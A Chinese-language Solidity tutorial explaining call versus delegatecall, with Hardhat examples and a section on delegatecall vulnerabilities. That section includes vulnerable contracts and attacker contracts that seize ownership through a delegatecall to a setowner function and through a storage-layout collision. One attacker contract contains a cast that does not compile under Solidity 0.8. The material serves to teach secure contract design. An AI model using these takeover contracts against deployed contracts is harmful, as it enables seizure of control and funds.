call是solidity中合约之间交互的一个底层调用,但官方建议该方法仅在发送以太坊时使用,合约接受转账必须定义receive或payable fallback(当调用合约中不存在的方法时,该方法被默认调用),而不建议用call来调用合约中存在的方法。关于receive和fallback的区别见下面示例合约Caller的remoteCall方法,更详细的说明可参考这里。
下面来演示以太坊的发送及合约方法的调用。注:为了方便调用本方的示例中使用的hardhat的console.sol合约来打印日志信息。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
contract Callee {
fallback() external payable {
console.log("In fallback Ether", msg.sender, msg.value);
}
receive() external payable {
console.log("In Receive Ether", msg.sender, msg.value);
}
function foo(string memory _message, uint256 _x)
public
view
returns (uint256)
{
console.log("foo invoking", msg.sender, _message);
return _x + 1;
}
}
contract Caller {
constructor() payable{
}
function remoteCall(address instance) public payable {
//触发fallback调用
(bool sucess, ) = instance.call{value: 200}(abi.encodeWithSignature('nonExistingFunction()'));
require(sucess, "call error");
// //触发receive调用
(bool sucess2, ) = instance.call{value: 200}('');
require(sucess2, "call error");
//调用foo
(bool sucess3, ) = instance.call(abi.encodeWithSignature('foo(string,uint256)', 'hello foo', 100));
require(sucess3, "call error");
}
}
const hre = require('hardhat');
async function main () {
let Callee = await hre.ethers.getContractFactory("Callee");
let Caller = await hre.ethers.getContractFactory("Caller");
let callee = await Callee.deploy();
//由于remoteCall方法向其它合约转以太坊,因此该合约部署时需要转入
let caller = await Caller.deploy({value:10000});
await caller.remoteCall(callee.address);
}
main()
.then(() => process.exit(0))
.catch(error => {
console.error(error);
process.exit(1);
});
npx hardhat run
时,hardhat框架会向JS脚本默认引入hardhat环境变量,因此脚本中可以不定义hre变量。此处显示的引入hardhat环境变量(const hre = require(‘hardhat’);),以便脚本可以像普通JS脚本一样运行(node
)。hardhat官方说明如下:
We require the Hardhat Runtime Environment explicitly here. This is optional but useful for running the script in a standalone fashion through
node
.
You can also run a script withnpx hardhat run
. If you do that, Hardhat will compile your contracts, add the Hardhat Runtime Environment’s members to the global scope, and execute the script.
使用call调用其它合约的方法时务必要检查其执行结果,如上例Caller合约中remoteCall中call方法的调用。
//触发fallback调用
(bool sucess, ) = instance.call{value: 200}(abi.encodeWithSignature('nonExistingFunction()'));
require(sucess, "call error");
虽然call在某些情况下可能是一个有用的工具,但通常不鼓励在调用其他契约中的现有函数时使用它。 原因如下:
当使用 call 调用函数时,在被调用函数内发生的任何Revert都不会冒泡到调用合约中。这意味着调用合约将不知道Revert的产生,并可能继续错误地执行。
Solidity提供了一个类型系统,确保数据的完整性和安全性。然而,当使用 call 时,会绕过函数参数的类型检查。如果没有正确处理输入类型,这可能会导致潜在的漏洞。
通过使用call来调用函数,您可以绕过Solidity执行的自动存在性检查。如果函数不存在或已重命名,则调用将触发回退函数,从而可能导致意想不到的行为。
call和delegatecall都是用于合约间交互的低级函数,区别在于两者的执行上下文,前者的上下文是被调用的合约,而后者的上下文是发起调用的合约。说起来比较抽象,我们来举例说明:
如图所示当合约A以call的形式调用合约B中的方法时,被调用方法(B中的方法)的执行上下文在合约B中。见图中address(this)合约地址的值。
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.8.2 <0.9.0;
import "hardhat/console.sol";
contract A {
constructor() {
console.log("Contract A's address:", address(this));
}
function remoteCall(address instance) public {
(bool sucess, ) = instance.call(abi.encodeWithSignature("myAddress()"));
require(sucess, "call error");
}
}
contract B {
constructor() {
console.log("Contract B's address:", address(this));
}
function myAddress() public view {
console.log("In contract B's myAddress", address(this));
}
}
示例中合约A调用合约B的myAddress方法,而该方法只是简单的打印执行上下文合约的地址。由于A是以call的形式调用B的方法,依据我们前面所述myAddress方法的执行上下文是合约B,因此该方法输出的应该是合约B的地址,我们在Remix中依次部署合约A、B并调用A中的remoteCall。
只需要将示例中的call调用改为delegatecall,以delegatecall方式调用时,依据我们前面所述myAddress方法的执行上下文是合约A,因此方法myAddress中打印的应该是合约A的地址。
function remoteCall(address instance) public {
(bool sucess, ) = instance.delegatecall(abi.encodeWithSignature("myAddress()"));
require(sucess, "call error");
}
delegatecall调用之所以容易引发漏洞,与solidity如下两个特性有关
我们还是通过示例来深入探索。
contract Vulnerable {
address public owner;
Lib public lib;
constructor(Lib _lib) {
owner = msg.sender;
lib = Lib(_lib);
}
fallback() external payable {
address(lib).delegatecall(msg.data);
}
}
contract Lib {
address public owner;
function setowner() public {
owner = msg.sender;
}
}
上述合约比较容易理解,合约Vulnerable 部署时需要传入已经部署的Lib合约地址,Vulnerable合约中fallback以delegatecall的形式调用合约Lib中的方法(调用方法由调用者通过msg.data指定)。此处Lib合约中只有一个方法setOwner用于修改owner值。
contract AttackVulnerable {
address public vulnerable;
constructor(address _vulnerable) {
vulnerable = _vulnerable;
}
function attack() public {
vulnerable.call(abi.encodeWithSignature("setowner()"));
}
}
攻击者部署AttackVulnerable 合约时传入Vulnerable 合约的地址,并在部署完成后调用自身的attack方法即可修改Vulnerable 合约的owner值。
msg.data
方法,而此处msg.data的值为abi.encodeWithSignature("setowner()")
,因而Lib中的setowner方法被调用;注: 步骤5中Vulnerable 的owner被修改是由solidity的特性(调用方与被调用方状态变量布局必须一致)决定的。
下面的合约的漏洞比较隐蔽,读者可以根据上述的讨论方法,自己分析。
contract Lib {
uint public num;
function performOperation(uint _num) public {
num = _num;
}
}
contract Vulnerable {
address public lib;
address public owner;
uint public num;
constructor(address _lib) {
lib = _lib;
owner = msg.sender;
}
function performOperation(uint _num) public {
lib.delegatecall(abi.encodeWithSignature("performOperation(uint256)", _num));
}
}
//攻击者
contract AttackVulnerable {
address public lib;
address public owner;
uint public num;
Vulnerable public vulnerable;
constructor(Vulnerable _vulnerable) {
vulnerable = Vulnerable(_vulnerable);
}
function attack() public {
vulnerable.performOperation(uint(address(this)));
vulnerable.performOperation(9);
}
// function signature must match Vulnerable.performOperation()
function performOperation(uint _num) public {
owner = msg.sender;
}
}
上面我们提到delegatecall的漏洞与solidity的两个特性有关。为了写出更安全的合约,solidity提供了Library关键字,被Library字义的合约必须是无状态的(合约内不能存在状态变量)。这就规避了在外部合约中修改状态变量的操作。在我们实践过程中我们写共用功能合约时尽量定义为Library。
call和delegatcall之间的区别很微妙,为了有效和安全地使用它们,理解它们是很重要的。通过理解执行上下文以及call和delegatcall之间的差异,您可以在Solidity中编写更有效,模块化和安全的智能合约。
参考:
https://medium.com/0xmantle/solidity-series-part-3-call-vs-delegatecall-8113b3c76855
https://celo.academy/t/preventing-vulnerabilities-in-solidity-delegate-call/38
https://docs.soliditylang.org/en/v0.6.2/contracts.html#receive-ether-function